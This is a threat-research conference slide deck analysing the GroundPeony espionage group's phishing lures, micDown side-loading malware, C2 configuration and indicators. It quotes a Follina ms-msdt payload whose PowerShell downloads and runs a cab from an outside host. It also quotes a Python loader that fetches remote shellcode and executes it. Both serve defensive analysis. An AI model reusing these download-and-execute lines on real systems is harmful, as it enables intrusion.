

ADVERSARY AND HARMONY,  
THE EVOLUTION OF  
AI SECURITY

# GroundPeony

## Crawling with Malice

@nao\_sec

Rintaro Koike / Shota Nakajima



# \$ whoami



Rintaro Koike

NTT Security Holdings  
Threat Research & Malware Analysis



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Threat Research & Malware Analysis





# Good to see you again, Taiwan!

Finding Treasures  
in the ToyBox

Shota Nakajima  
Rintaro Koike

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



HITCON #15  
 HITCON Summer Training  
 Aug-19-22, 2019  
 HITCON Community  
 2019-08-23-24  
 in Academia Sinica Taipei, Taiwan  
[購票 Ticket](#)

Agenda Events Training Travel Location Notice Code of Conduct Sponsors Team

### Agenda

DAY 1 (8/23)	DAY 2 (8/24)				
<p>08:30 - 09:20 報到時間 Attendant Registration Time</p> <p>09:20 - 10:00 總召致詞 &amp; Opening</p> <p>10:00 - 10:50 Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs Orange Tsai, meh <a href="#">Download Slide</a></p> <p>10:50 - 11:00 Break</p> <p>11:00 - 11:50</p> <table border="1"> <tr> <td> <p>R0 BAD ASN - A BGP Hijack Research 高梓輝, YU GUO <a href="#">Download Slide</a></p> </td> <td> <p>R1 Finding Treasures in the ToyBox Shota Nakajima, Rintaro Koike <a href="#">Download Slide</a></p> </td> <td> <p>R2 EDR 與那些曾經的技巧 JohnThunder</p> </td> <td> <p>R4 (交班) HITCON 101 - HOOKING 輕鬆做 SYSCALL 輕鬆學 劉其豪, Dylandy <a href="#">Download Slide</a></p> </td> </tr> </table>	<p>R0 BAD ASN - A BGP Hijack Research 高梓輝, YU GUO <a href="#">Download Slide</a></p>	<p>R1 Finding Treasures in the ToyBox Shota Nakajima, Rintaro Koike <a href="#">Download Slide</a></p>	<p>R2 EDR 與那些曾經的技巧 JohnThunder</p>	<p>R4 (交班) HITCON 101 - HOOKING 輕鬆做 SYSCALL 輕鬆學 劉其豪, Dylandy <a href="#">Download Slide</a></p>	
<p>R0 BAD ASN - A BGP Hijack Research 高梓輝, YU GUO <a href="#">Download Slide</a></p>	<p>R1 Finding Treasures in the ToyBox Shota Nakajima, Rintaro Koike <a href="#">Download Slide</a></p>	<p>R2 EDR 與那些曾經的技巧 JohnThunder</p>	<p>R4 (交班) HITCON 101 - HOOKING 輕鬆做 SYSCALL 輕鬆學 劉其豪, Dylandy <a href="#">Download Slide</a></p>		





# GroundPeony


---

- As known as UNC3347
- China-nexus threat group
- Active since at least 2021
- Targeting East / South Asian countries
  - Taiwan, Hong Kong, South Korea, Nepal, India
  - Government, research / educational institute, telecom
- Notable capabilities
  - Exploiting zero-day vulnerability
    - Follina (CVE-2022-30190)
  - Compromising target-related website to distribute malware


COMMUNITY 23




# Timeline



# Latest Attack Flow



# Spear-Phishing Email



# Lure Document



 Please enable editing mode to view included documents.

此文件由 RSA-4096 保護

系統檢測到你的電腦未安裝 Kb7102381908 補丁，為了你系統的安全，Microsoft 自动加密了文檔數據內容。

如需查看文檔，請立即在瀏覽器上复制鏈接 <https://www.catalog.update.microsoft.com@cutt.ly/c4oJURh> 并下載最新的補丁。

Regards,

Microsoft Team

該文件由 Microsoft Office SecurePoint 於 2023 年 3 月 17 日生成。

RSA PROTECTED BLOCK-----





# URL Obfuscation

如需查看文档，请立即在浏览器上复制链接  
并下载最新的补丁。←

<https://www.catalog.update.microsoft.com@cutt.ly/c4oJURh>

https://www.catalog.update.microsoft.com@cutt.ly/c4oJURh

User Information  
(Not Host Information)

Host Information

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# ZIP Contents (1/2)

```
Archive:  Kb5002372934.zip
  Length      Date    Time    Name
-----
         0  2023-03-17 10:43  Kb5002372934/
         0  2023-03-17 10:43  Kb5002372934/系統安全補丁/
         0  2023-03-17 10:33  Kb5002372934/系統安全補丁/$RECYCLE.BIN/
 259696  2023-03-14 23:58  Kb5002372934/系統安全補丁/$RECYCLE.BIN/a.docx
   5120  2023-03-14 23:58  Kb5002372934/系統安全補丁/$RECYCLE.BIN/b.docx
   60949  2023-03-14 23:58  Kb5002372934/系統安全補丁/$RECYCLE.BIN/c.docx
     66  2023-03-14 23:58  Kb5002372934/系統安全補丁/$RECYCLE.BIN/d.docx
 103936  2023-03-14 23:58  Kb5002372934/系統安全補丁/Install.exe
 103936  2023-03-14 23:58  Kb5002372934/系統安全補丁/系統安全補丁.exe
   2121  2023-03-17 10:43  Kb5002372934/系統安全補丁/資料更新說明.txt
-----
 535824                                10 files
```



Mimicking

# ZIP Contents (2/2)


```
Archive:  Kb5002372934.zip
 Length      Date      Time      Name
-----
 0  2023-03-17 10:43  Kb5002372934/
 0  2023-03-17 10:43  Kb5002372934/系統安全補丁/
 0  2023-03-17 10:33  Kb5002372934/系統安全補丁/$RECYCLE.BIN/
```

Miss match KB number 🙄

系統檢測到你的電腦未安裝 **Kb7102381908** 補丁，為了你係統的安全，Microsoft 自動加密了文檔數據內容。←



# 系統安全補丁.exe / Install.exe



# Behavior of micDown

---

- version.dll
  - DLL for Side-load
  - Shellcode Launcher for mic.doc
- mic.doc
  - Shellcode downloader (micDown)
- mic.ver
  - Config file for mic.doc

COMMUNITY 23

# version.dll (1/2)

---

- Decoding is a 2-step process

1. Decoding shellcode



2. Self decoding



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# version.dll (2/2)

- Read mic.doc
- Decode custom XOR

```
.text:10001103 loc_10001103: mov     cl, [eax+edi] ; CODE XREF: VerQueryValueW+109↓j
.text:10001103          sub     cl, 5Fh ; '
.text:10001106          xor     cl, 61h
.text:10001109          add     cl, 5Fh ; '
.text:1000110C          mov     [eax+edi], cl
.text:1000110F          inc     eax
.text:10001112          cmp     eax, [ebp+NumberOfBytesRead]
.text:10001113          jnb    short loc_10001103
.text:10001118
```

- Launch decode code

```
BOOL __stdcall VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID *lpBuffer, PUINT pulen)
{
    CHAR v4; // al
    unsigned int v5; // ecx
    unsigned int v6; // kr00_4
    HANDLE FileA; // esi
    void *code; // edi
    DWORD i; // eax
    DWORD NumberOfBytesRead; // [esp+0h] [ebp-10Ch] BYREF
    CHAR Filename[2]; // [esp+4h] [ebp-108h] BYREF
    char v13[258]; // [esp+6h] [ebp-106h]

    memset(Filename, 0, 260u);
    GetModuleFileNameA(0, Filename, 0x104u);
    v5 = &Filename[strlen(Filename) + 1] - &Filename[1] - 3;
    if ( v5 >= 0x104 )
    {
        ((void (*)(void))sub_100012A0)();
        JUMPOUT(0x10001132);
    }
    Filename[v5] = v4;
    v6 = strlen(Filename);
    *(_WORD *)&Filename[v6] = aDoc;
    v13[v6] = MEMORY[0x10002032];
    FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0x80u, 0);
    code = VirtualAlloc(0, 0x14000u, 0x3000u, 0x40u);
    ReadFile(FileA, code, 0x14000u, &NumberOfBytesRead, 0);
    CloseHandle(FileA);
    for ( i = 0; i < NumberOfBytesRead; ++i )
        *((_BYTE *)code + i) = ((*((_BYTE *)code + i) - 0x5F) ^ 0x61) + 0x5F;
    return ((int (*)(void))code)();
}
```

# mic.doc

- Decode itself
  - Custom XOR + RtlDecompressBuffer
  - Decode from the beginning of file excluding the shellcode jump instruction

```
loc_EB49:                ; 0
mov     dl, [esi+eax+0Ch]
inc     ecx
sub     dl, cl
xor     dl, cl
add     dl, cl
mov     [esi+eax+0Ch], dl
inc     eax
cmp     eax, [esi+8]
jb     short loc_EB49
```

```
seg000:0000ED7A          jmp     [esi+eax+0Ch] ; RtlDecompressBuffer
seg000:0000ED80          jz     short loc_EDE9
seg000:0000ED82          cmp     ebx, 1DA0A3A1h ; LoadLibraryA
seg000:0000ED88          jz     short loc_EDD8
seg000:0000ED8A          cmp     ebx, 4717A7D0h ; VirtualAlloc
seg000:0000ED90          jz     short loc_EDC6
seg000:0000ED92          cmp     ebx, 8F592CA3h ; GetProcAddress
seg000:0000ED98          jz     short loc_EDB4
seg000:0000ED9A          cmp     ebx, 0B01FF0A0h ; memcpy
seg000:0000EDA0          jnz    short loc_EDFF
seg000:0000EDA2          movzx  edx, word ptr [ecx+edi*2]
seg000:0000EDA6          mov     edx, [eax+edx*4]
seg000:0000EDA9          add     edx, [ebp+arg_0]
```

COMMUNITY 23



# mic.doc – Payload (1/2)

- Executable with MZ header removed
- Load config file
  - mic.ver
- Download encoded shellcode

Offset (h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	デコードされたテキスト
00000000	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000010	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000030	00	00	00	00	00	00	00	00	00	00	00	08	01	00	00	00	.....
00000040	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000050	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000060	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000070	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000080	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000090	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
000000A0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
000000B0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
000000C0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
000000D0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
000000E0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
000000F0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000100	00	00	00	00	00	00	00	00	00	00	00	4C	01	05	00	00	.....
00000110	0A	82	2B	E7	00	00	00	00	00	00	00	E0	00	02	01	00	.,+g.....ã...
00000120	0B	01	0E	1D	00	C8	00	00	00	84	00	00	00	00	00	00	.....È.....
00000130	4D	15	00	00	00	10	00	00	00	E0	00	00	00	00	40	00	M.....ã.....@.
00000140	00	10	00	00	00	02	00	06	00	00	00	00	00	00	00	00	.....
00000150	06	00	00	00	00	00	00	00	00	80	01	00	00	04	00	00	.....€.....
00000160	00	00	00	00	02	00	40	81	00	00	10	00	00	10	00	00	.....@.....
00000170	00	00	10	00	00	00	10	00	00	00	00	00	00	10	00	00	.....
00000180	00	00	00	00	00	00	00	84	37	01	00	3C	00	00	00	00	.....7.....
00000190	00	60	01	00	E0	01	00	00	00	00	00	00	00	00	00	00	.....ã.....
000001A0	00	00	00	00	00	00	00	70	01	00	E0	0E	00	00	00	00	.....p..ã...
000001B0	C0	2C	01	00	38	00	00	00	00	00	00	00	00	00	00	00	À...s.....
000001C0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
000001D0	F8	2C	01	00	40	00	00	00	00	00	00	00	00	00	00	00	ø...@.....
000001E0	00	E0	00	00	38	01	00	00	00	00	00	00	00	00	00	00	À...s.....
000001F0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000200	2E	74	65	78	74	00	00	00	23	C6	00	00	10	00	00	00	.text...#E.....
00000210	00	C8	00	00	04	00	00	00	00	00	00	00	00	00	00	00	È.....

```
result = gethostbyname(Buffer);
v5 = (_DWORD ***)result;
if ( result )
{
    result = (void *)socket(2, 1, 0);
    v6 = (SOCKET)result;
    if ( result != (void *)-1 )
    {
        *(_QWORD *)&name.sa_data[6] = 0i64;
        name.sa_family = 2;
        *(_DWORD *)&name.sa_data[2] = **v5[3];
        *(_WORD *)name.sa_data = htons(v4);
        result = (void *)connect(v6, &name, 16);
        if ( result )
        {
            return (void *)closesocket(v6);
        }
    }
    else if ( v6 )
    {
        *(_DWORD *)code = 406211263;
        send(v6, code, 4, 0);
        v7 = 4;
        v8 = code;
        do
        {
            v9 = recv(v6, v8, v7, 0);
            if ( v9 <= 0 )
                break;
            v7 -= v9;
            v8 += v9;
        }
        while ( v7 > 0 );
        v10 = (int)sub_404170(*(SIZE_T *)code);
        v11 = *(_DWORD *)code;
        v22 = v10;
        for ( i = (char *)v10; v11 > 0; i += v13 )
        {
            v13 = recv(v6, i, v11, 0);
            if ( v13 <= 0 )
                break;
            v11 -= v13;
        }
        closesocket(v6);
    }
}
```





# mic.doc – Payload (2/2)

- Decode and launch downloaded shellcode
- Similar algorithm
  - Custom XOR

```
loc_401142:                ; CODE XREF: sub_401142
mov     al, byte ptr [esp+ecx+318h+Buffer]
add     al, 1Ah
xor     al, 4Bh
sub     al, 1Ah
mov     byte ptr [esp+ecx+318h+Buffer], al
inc     ecx
cmp     ecx, 42h ; 'B'
jnb     short loc_401142
```

```
loc_4012A0:                ; CODE XREF: sub_4012A0
mov     al, [edi+ecx]
lea     ecx, [ecx+1]
add     al, 55h ; 'U'
inc     edx
xor     al, 2Fh
sub     al, 55h ; 'U'
mov     [ecx-1], al
mov     esi, dword ptr [esp+318h+buf]
cmp     edx, esi
jnb     short loc_4012A0
```

```
v19 = v22 - (_DWORD)v14;
do
{
    v20 = *((_BYTE *)v18 + v19);
    v18 = (int (__fastcall *)(unsigned int, unsigned int))((char *)v18 + 1);
    ++v17;
    *((_BYTE *)v18 - 1) = ((v20 + 0x55) ^ 0x2F) - 0x55;
    v15 = *((_DWORD *)code);
}
while ( v17 < *((_DWORD *)code) );
v16 = v23;
```

COMMUNITY 23

# mic.ver

- Encoded config file
  - connect c2 and port
- Decode

```
for i in range(file_size):  
    dec = buf[i]  
    dec = (((dec + 0x1a) ^ 0x4b) - 0x1a) % 256  
    buf[i] = dec
```

Offset (h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	デコードされたテキスト
00000000	31	30	33	2E	31	39	39	2E	31	37	2E	31	38	34	00	00	103.199.17.184..
00000010	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000030	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00000040	BB	01															».0

IP address

Port

# Related File

vaginal\_color\_ultrasound\_2023034f27897e3afe12e8c3847451a05b0639.zip


- Placed on “vaccine.mohp.gov.np”, Nepal gov’t COVID-19 vaccine website
  - BTW, China provided vaccine to Nepal (as Belt and Road partner)
    - [https://www.fmprc.gov.cn/mfa\\_eng/wjdt\\_665385/2649\\_665393/202106/t20210624\\_9170568.html](https://www.fmprc.gov.cn/mfa_eng/wjdt_665385/2649_665393/202106/t20210624_9170568.html)

- C&C Server
  - *app.onedrive.com* (172.93.189.239)

```
Whois Lookup ⓘ
registrar_abuse_contact_email: abuse-contact@publicdomainregistry.com
Registrar Abuse Contact Phone: +1.2013775952
Registrar IANA ID: 303
Registrar Registration Expiration Date: 2023-08-24T06:55:12Z
Registrar URL: http://www.publicdomainregistry.com
Registrar URL: www.publicdomainregistry.com
Registrar WHOIS Server: whois.PublicDomainRegistry.com
Registrar WHOIS Server: whois.publicdomainregistry.com
Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com
Registry Admin ID: Not Available From Registry
Registry Domain ID: 2636029596_DOMAIN_COM-VRSN
Registry Expiry Date: 2023-08-24T06:55:12Z
```




# In the Same Way



# Related Past Campaign (1/4)

onedrivo.com (160.20.145.111)

- Used in past campaign exploiting Follina



# Related Past Campaign (2/4)

My name is Jeena Sharma, 23 years old. I live in Kathmandu and I am a graduate student of Kathmandu University.↵

↵

I'm exposing Nitesh Pariyar now. He's a liar! ↵

He deceived my feelings and body. After sleeping and having sex with me, he promised to let me join NCELL company and become his private secretary. He also said he would marry me. ↵

He is a complete liar!!!↵

After he slept with me and had sex, he ignored me, didn't answer my phone or any message, and pretended not to know me!↵

When he was dating me, he lied to me that his name was sum, but after my follow-



# Related Past Campaign (3/4)

Archive:	Exposing_Nitesh_Pariyar_Liar!!!.doc		
Length	Date	Time	Name
1627	2022-04-07	09:52	[Content_Types].xml
720	2022-04-07	09:52	docProps/app.xml
739	2022-04-07	09:52	docProps/core.xml
9688	2022-04-07	09:52	word/document.xml
1770	2022-04-07	09:52	word/endnotes.xml
1359	2022-04-07	09:52	word/fontTable.xml
1776	2022-04-07	09:52	word/footnotes.xml
3575	2022-04-07	09:52	word/settings.xml
29697	2022-04-07	09:52	word/styles.xml
576	2022-04-07	09:52	word/webSettings.xml
89597	2022-04-07	09:52	word/media/image1.JPG
104253	2022-04-07	09:52	word/media/image2.jpg
8398	2022-04-07	09:52	word/theme/theme1.xml
1542	2022-04-07	09:52	word/_rels/document.xml.rels
590	2022-04-07	09:52	_rels/.rels
255907			15 files

```
<Relationship Id="rId996"
  Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
  Target="https://exchange.oufca.com.au/aspnet_client/poc.html!" TargetMode="External" />
```

```
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /
param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu
IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($
(Invoke-Expression(' [System.Text.Encoding]' + [char]58+[char]58
+'UTF8.GetString([System.Convert]' + [char]58+[char]58
+'FromBase64String(' + [char]34
+'U3RhcncQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50T
G1zdCAiL2MgcnVuZGxsMzIuZXh1IHBjd3V0bC5kbGwsTGF1bmNoQXBwbGljYXRpb24g
JGntZCI7JGntZCA9ICJjOlx3aW5kb3dzXHN5c3R1bTMvYXN5c3VtZC5leGUiO1N0YXJ0LVB
yb2Nlc3MgJGntZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIH
Rhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcncQtUHJvY2VzcyAkY21kIC13aW5kb
3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TG1zdCAiL2MgY2QgZzpcdXNlcnNccHVibGlj
XCYmcG93ZXJzaGVsbCBpd3IgLXVyaSBodHRwczovL2V4Y2hhbmdlLm91ZmNhLmNvbS5
hdS9hc3BuZXRfY2xpZW50L3Rlc3QuY2FiIC1vIHRlc3QuY2FiJiZleHBhbmQgdGVzdC
5jYWJgY2VjLmV4ZSI7' + [char]34+''))))
i/../../../../../../../../../../../../../../../../Windows/System32/
mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
```

# Related Past Campaign (4/4)

```
Start-Process $cmd -windowstyle hidden -ArgumentList "/c rundll32.exe pcwutl.dll,LaunchApplication $cmd";  
$cmd = "c:\windows\system32\cmd.exe";  
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";  
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&powershell iwr -uri  
https://exchange.oufca.com.au/aspnet_client/test.cab -o test.cab&&expand test.cab abc.exe&&abc.exe";
```




Download & Execute  
Cobaltstrike beacon



onedrivo.com  
(160.20.145.111)

# Attribution (1/2)

## Timeline of Follina (CVE-2022-30190)





# Attribution (2/2)

```
new_code = urllib.request.urlopen('http://www.onedrive.com/b64_code.txt').read() # 从远程服务器下载编码后的 shellcode
for i in range(4):
    new_code = base64.b64decode(a2b_hex(new_code)) # 将获取的内容依次进行 hex 解码和 base64 解码
new_code = codecs.escape_decode(new_code)[0]
new_code = bytearray(new_code)

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存, 0x3000代表MEM_COMMIT | MEM_RESERVE, 0x40代表可读可写可执行属性
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(new_code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buf = (ctypes.c_char * len(new_code)).from_buffer(new_code)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(new_code))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), #指向安全属性的指针
    ctypes.c_int(0), #初始堆栈大小
    ctypes.c_uint64(ptr), #指向起始地址的指针
    ctypes.c_int(0), #指向任何参数的指针
    ctypes.c_int(0), #创建标志
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)
# 等待上面创建的线程运行完, 敏感函数做了隐藏
dsfbw = ['W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't']
asjdce = ''.join(dsfbw)
mndskkfhsj = 'ctypes.windll.kernel32.' + asjdce + '(ctypes.c_int(handle), ctypes.c_int(-1))'
exec(mndskkfhsj)
```

Copy & Paste code  
&  
Chinese comments

# Diamond Model

- Spear-Phishing email
- Shortened URL
- Zero-day exploit
  - Follina (CVE-2022-30190)
- Malware
  - CobaltStrike
  - micDown
- DLL Side-Loading

Capabilities

South / East Asia

- Taiwan, Hong Kong, South Korea, Nepal, India
- Government, research / educational institute, telecom

Adversary

GroundPeony

- aka UNC3347
- China-nexus threat group
- Active since at least 2021

Infrastructure

- Compromised website
- Domain
  - PublicDomainRegistry
- IP
  - AS63734 (365 Online technology joint stock company)
  - AS55720 (Gigabit Hosting Sdn Bhd)
  - AS 30823 (combahton GmbH)

Victims

# Wrap-Up

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## GroundPeony

- As known as UNC3347
- China-nexus threat group
- Active since at least 2021
- Targeting East / South Asian countries
  - Taiwan, Hong Kong, South Korea, Nepal, India
  - Government, research / educational institute, telecom
- Notable capabilities
  - Exploiting zero-day vulnerability
    - Follina (CVE-2022-30190)
  - Compromising target-related website to distribute malware



# IoCs (1/2)

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## SHA256

- 1992b552bdaf93caeb470f94b4bf91e0157ba4a9bb92fb8430be946c0ddabdeb
- 425630cc8be2a7dc2626ccd927bb45e5d40c1cb606bb5b2a7e8928df010af7c9
- fa6510a84929a0c49d91b3887189fca5a310129912d8e7d14fed062e9446af7e
- 142a027d78c7ab5b425c2b849b347952196b03618e4ad74452dbe2ed4e3f73cd
- d1989ca12426ed368816ce00f08975dc1ff1e4f474592523c40f9af344a57b49
- 6e13e5c7fcbafc47df259f2565efaed51bc1d021010c51673a7c455b5d4dad2b
- ef611e07e9d7e20ed3d215e4f407a7a7ca9f64308905c37e53df39f8a5bcbb3c
- 7b814e43af86a84b9ad16d47f9c74da484ea69903ef0fbe40ec62ba123d83a9a
- f3e0a3dd3d97ccc23c4cee0fd9c247dbe79fbf39bc9ae9152d4676c96e46e483
- 50182fca4c22c7dde7b8392ceb4c0fef67129f7dc386631e6db39dec73537705

# IoCs (2/2)

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IP / Domain

- 103.199.17.184
- 160.20.145.111
- 172.93.189.239
- \*.onedrivo.com

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